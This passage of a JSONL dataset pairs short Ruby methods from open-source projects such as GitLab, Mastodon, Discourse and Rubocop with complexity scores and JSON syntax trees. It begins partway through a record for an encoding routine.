encoder.\"]}]},{\"type\":\"send\",\"children\":[null,\"caller\"]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"encoded=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"encode_begin\",{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"send\",\"children\":[null,\"do_encode\",{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"send\",\"children\":[null,\"encode_end\",{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arch?\",{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" result: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"encoded\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"encoded\"]}]}]}]}","id":"7ed6fa05-6e11-43c1-bd62-54f6af98cdf3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/client.rb","start_line":87,"raw_source":"def pull_request_review_requests(repo_name, iid)\n        with_rate_limit { octokit.pull_request_review_requests(repo_name, iid).to_h }\n      end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"pull_request_review_requests\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repo_name\"]},{\"type\":\"arg\",\"children\":[\"iid\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_rate_limit\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"octokit\"]},\"pull_request_review_requests\",{\"type\":\"lvar\",\"children\":[\"repo_name\"]},{\"type\":\"lvar\",\"children\":[\"iid\"]}]},\"to_h\"]}]}]}","id":"aa5209bd-6f6a-4bc8-9c79-26ab2792097f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_paginate.rb","start_line":6,"raw_source":"def self.paginate(req_offset, req_limit)\n      offset(req_offset).limit(req_limit)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"paginate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req_offset\"]},{\"type\":\"arg\",\"children\":[\"req_limit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"offset\",{\"type\":\"lvar\",\"children\":[\"req_offset\"]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"req_limit\"]}]}]}","id":"883eaffa-c7d8-411b-b4a9-0fe8b44df43b"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/invite_form.rb","start_line":10,"raw_source":"def fill_username(username)\n        find(\"#new-account-username\").fill_in(with: username)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"#new-account-username\"]}]},\"fill_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}]}","id":"52119fa9-8922-40ea-b23c-d5e8f83ba9f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/event.rb","start_line":345,"raw_source":"def issue_note?\n    note? && target && target.for_issue?\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_note?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note?\"]},{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"for_issue?\"]}]}]}","id":"a66e3f60-5b55-4a62-b5f5-dc783103c6d6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/post_status_service.rb","start_line":179,"raw_source":"def idempotency_key\n    \"idempotency:status:#{@account.id}:#{@options[:idempotency]}\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"idempotency_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"idempotency:status:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"idempotency\"]}]}]}]}]}","id":"860ddf7a-9c9f-4a41-8a8b-b0b5faecc18e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/v2/reports/inbox_summary_builder.rb","start_line":14,"raw_source":"def load_data\n    @conversations_count = fetch_conversations_count\n    load_reporting_events_data\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conversations_count\",{\"type\":\"send\",\"children\":[null,\"fetch_conversations_count\"]}]},{\"type\":\"send\",\"children\":[null,\"load_reporting_events_data\"]}]}]}","id":"f2fcb681-10be-4abe-b1b5-2e07866afdd6"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/multiline_memoization.rb","start_line":56,"raw_source":"def message(_node)\n          style == :braces ? BRACES_MSG : KEYWORD_MSG\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"braces\"]}]},{\"type\":\"const\",\"children\":[null,\"BRACES_MSG\"]},{\"type\":\"const\",\"children\":[null,\"KEYWORD_MSG\"]}]}]}","id":"7bd5253a-a343-45a5-94cb-92e9857d16a2"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock_location.rb","start_line":95,"raw_source":"def restock_backordered(variant, quantity, _originator = nil)\n      item = stock_item_or_create(variant)\n      item.update_columns(\n        count_on_hand: item.count_on_hand + quantity,\n        updated_at: Time.current\n      )\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"restock_backordered\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variant\"]},{\"type\":\"arg\",\"children\":[\"quantity\"]},{\"type\":\"optarg\",\"children\":[\"_originator\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"item\",{\"type\":\"send\",\"children\":[null,\"stock_item_or_create\",{\"type\":\"lvar\",\"children\":[\"variant\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count_on_hand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"count_on_hand\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"quantity\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]}]}","id":"138fb7a5-182e-46c7-82c9-71d1c35fef9e"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/second_factor/auth_manager.rb","start_line":123,"raw_source":"def self.find_second_factor_challenge(nonce:, server_session:, target_user:)\n    challenge_json = server_session[\"current_second_factor_auth_challenge\"]\n    if challenge_json.blank?\n      raise SecondFactor::BadChallenge.new(\n              \"second_factor_auth.challenge_not_found\",\n              status_code: 404,\n            )\n    end\n\n    challenge = JSON.parse(challenge_json).deep_symbolize_keys\n    if challenge[:nonce] != nonce\n      raise SecondFactor::BadChallenge.new(\n              \"second_factor_auth.challenge_not_found\",\n              status_code: 404,\n            )\n    end\n\n    if target_user && (challenge[:target_user_id] != target_user.id)\n      raise SecondFactor::BadChallenge.new(\n              \"second_factor_auth.challenge_not_found\",\n              status_code: 404,\n            )\n    end\n\n    generated_at = challenge[:generated_at]\n    if generated_at < MAX_CHALLENGE_AGE.ago.to_i\n      raise SecondFactor::BadChallenge.new(\"second_factor_auth.challenge_expired\", status_code: 401)\n    end\n\n    challenge\n  end","complexity_score":33.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_second_factor_challenge\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"nonce\"]},{\"type\":\"kwarg\",\"children\":[\"server_session\"]},{\"type\":\"kwarg\",\"children\":[\"target_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"challenge_json\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_session\"]},\"[]\",{\"type\":\"str\",\"children\":[\"current_second_factor_auth_challenge\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge_json\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecondFactor\"]},\"BadChallenge\"]},\"new\",{\"type\":\"str\",\"children\":[\"second_factor_auth.challenge_not_found\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_code\"]},{\"type\":\"int\",\"children\":[404]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"challenge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"challenge_json\"]}]},\"deep_symbolize_keys\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nonce\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"nonce\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecondFactor\"]},\"BadChallenge\"]},\"new\",{\"type\":\"str\",\"children\":[\"second_factor_auth.challenge_not_found\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_code\"]},{\"type\":\"int\",\"children\":[404]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_user\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_user_id\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_user\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecondFactor\"]},\"BadChallenge\"]},\"new\",{\"type\":\"str\",\"children\":[\"second_factor_auth.challenge_not_found\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_code\"]},{\"type\":\"int\",\"children\":[404]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"generated_at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"generated_at\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generated_at\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_CHALLENGE_AGE\"]},\"ago\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecondFactor\"]},\"BadChallenge\"]},\"new\",{\"type\":\"str\",\"children\":[\"second_factor_auth.challenge_expired\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_code\"]},{\"type\":\"int\",\"children\":[401]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"challenge\"]}]}]}","id":"03688598-3de3-4a08-a4b5-e448693ce0e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kas/client.rb","start_line":183,"raw_source":"def stub_for(service)\n        @stubs ||= {}\n        @stubs[service] ||= STUB_CLASSES.fetch(service).new(kas_endpoint_url, credentials, timeout: timeout)\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@stubs\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stubs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STUB_CLASSES\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"service\"]}]},\"new\",{\"type\":\"send\",\"children\":[null,\"kas_endpoint_url\"]},{\"type\":\"send\",\"children\":[null,\"credentials\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[null,\"timeout\"]}]}]}]}]}]}]}","id":"51f5c8d9-75a9-46de-842e-322f2cb01d4d"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20250225131523_add_style_type_to_categories.rb","start_line":3,"raw_source":"def change\n    add_column :categories, :style_type, :integer, default: 0, null: false\n    add_column :categories, :emoji, :string\n    add_column :categories, :icon, :string\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"categories\"]},{\"type\":\"sym\",\"children\":[\"style_type\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"categories\"]},{\"type\":\"sym\",\"children\":[\"emoji\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"categories\"]},{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}","id":"5c27fea8-72cd-490f-8a73-102ff9cb7494"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20241007071624_fix_notification_permission_foreign_keys.rb","start_line":4,"raw_source":"def up\n    safety_assured do\n      execute <<~SQL.squish\n        ALTER TABLE notification_permissions\n          DROP CONSTRAINT fk_rails_7c0bed08df,\n          ADD CONSTRAINT fk_rails_7c0bed08df\n            FOREIGN KEY (account_id)\n            REFERENCES accounts(id)\n            ON DELETE CASCADE,\n\n          DROP CONSTRAINT fk_rails_e3e0aaad70,\n          ADD CONSTRAINT fk_rails_e3e0aaad70\n            FOREIGN KEY (from_account_id)\n            REFERENCES accounts(id)\n            ON DELETE CASCADE\n      SQL\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER TABLE notification_permissions\\n\"]},{\"type\":\"str\",\"children\":[\"  DROP CONSTRAINT fk_rails_7c0bed08df,\\n\"]},{\"type\":\"str\",\"children\":[\"  ADD CONSTRAINT fk_rails_7c0bed08df\\n\"]},{\"type\":\"str\",\"children\":[\"    FOREIGN KEY (account_id)\\n\"]},{\"type\":\"str\",\"children\":[\"    REFERENCES accounts(id)\\n\"]},{\"type\":\"str\",\"children\":[\"    ON DELETE CASCADE,\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  DROP CONSTRAINT fk_rails_e3e0aaad70,\\n\"]},{\"type\":\"str\",\"children\":[\"  ADD CONSTRAINT fk_rails_e3e0aaad70\\n\"]},{\"type\":\"str\",\"children\":[\"    FOREIGN KEY (from_account_id)\\n\"]},{\"type\":\"str\",\"children\":[\"    REFERENCES accounts(id)\\n\"]},{\"type\":\"str\",\"children\":[\"    ON DELETE CASCADE\\n\"]}]},\"squish\"]}]}]}]}","id":"af477347-a13f-42ab-92d3-c5e1d07b7c10"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/spammable.rb","start_line":77,"raw_source":"def clear_spam_flags!\n    self.spam = false\n    self.needs_recaptcha = false\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_spam_flags!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"spam=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"needs_recaptcha=\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"d83e3c49-87b4-4b71-8ff2-ba7cc99334e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/members/enumerable.rb","start_line":22,"raw_source":"def pluck_member_user(*columns, filters: {})\n        values = []\n\n        # rubocop:disable Database/AvoidUsingPluckWithoutLimit -- plucking on batch\n        each_member_user_batch(filters) { |users| values.concat(users.pluck(*columns)) }\n        # rubocop:enable Database/AvoidUsingPluckWithoutLimit\n\n        values\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"pluck_member_user\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"columns\"]},{\"type\":\"kwoptarg\",\"children\":[\"filters\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_member_user_batch\",{\"type\":\"lvar\",\"children\":[\"filters\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"pluck\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}","id":"fbd4e56d-3184-4757-933a-93cb2ebab75a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/common/styles.rb","start_line":95,"raw_source":"def agenda_item_title\n      resolve_font(@styles.dig(:agenda_item, :title))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"agenda_item_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_font\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"agenda_item\"]},{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}","id":"d057f753-181f-4cf7-9ca3-239a62758b4f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/db/migrate/tables/meeting_contents.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration do |t|\n      t.string :type\n      t.bigint :meeting_id\n      t.bigint :author_id\n      t.text :text\n      t.integer :lock_version\n      t.timestamps precision: nil, null: false\n      t.boolean :locked, default: false\n    end\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"meeting_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"author_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"lock_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"locked\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"d61d6971-e342-4d34-9b10-0281ba508188"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/subscription_adapter/postgresql_test.rb","start_line":35,"raw_source":"def teardown\n    super\n\n    ActiveRecord::Base.connection_handler.clear_all_connections!\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_handler\"]},\"clear_all_connections!\"]}]}]}","id":"e2265361-ac85-4a7a-8090-188ee7bd33a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/safe_zip/extract_params.rb","start_line":9,"raw_source":"def initialize(to:, directories: [], files: [])\n      @directories = directories\n      @files = files\n      @extract_path = ::File.realpath(to)\n      validate!\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"to\"]},{\"type\":\"kwoptarg\",\"children\":[\"directories\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"files\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@directories\",{\"type\":\"lvar\",\"children\":[\"directories\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@files\",{\"type\":\"lvar\",\"children\":[\"files\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@extract_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"realpath\",{\"type\":\"lvar\",\"children\":[\"to\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validate!\"]}]}]}","id":"e507634c-8834-41d4-9398-6ea91ef57752"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20161003145426_create_blocks.rb","start_line":4,"raw_source":"def change\n    create_table :blocks do |t|\n      t.integer :account_id, null: false\n      t.integer :target_account_id, null: false\n\n      t.timestamps null: false\n    end\n\n    add_index :blocks, [:account_id, :target_account_id], unique: true\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"blocks\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"target_account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"blocks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"target_account_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"bad0a6bd-a906-4fb7-a330-a7f9d5c776d0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/commissioner.rb","start_line":159,"raw_source":"def invoke(callback, cops)\n        cops.each { |cop| with_cop_error_handling(cop) { cop.send(callback) } }\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"invoke\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"callback\"]},{\"type\":\"arg\",\"children\":[\"cops\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cops\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_cop_error_handling\",{\"type\":\"lvar\",\"children\":[\"cop\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"callback\"]}]}]}]}]}","id":"31bb6ebb-a934-4e3a-8e32-e2790814838e"}
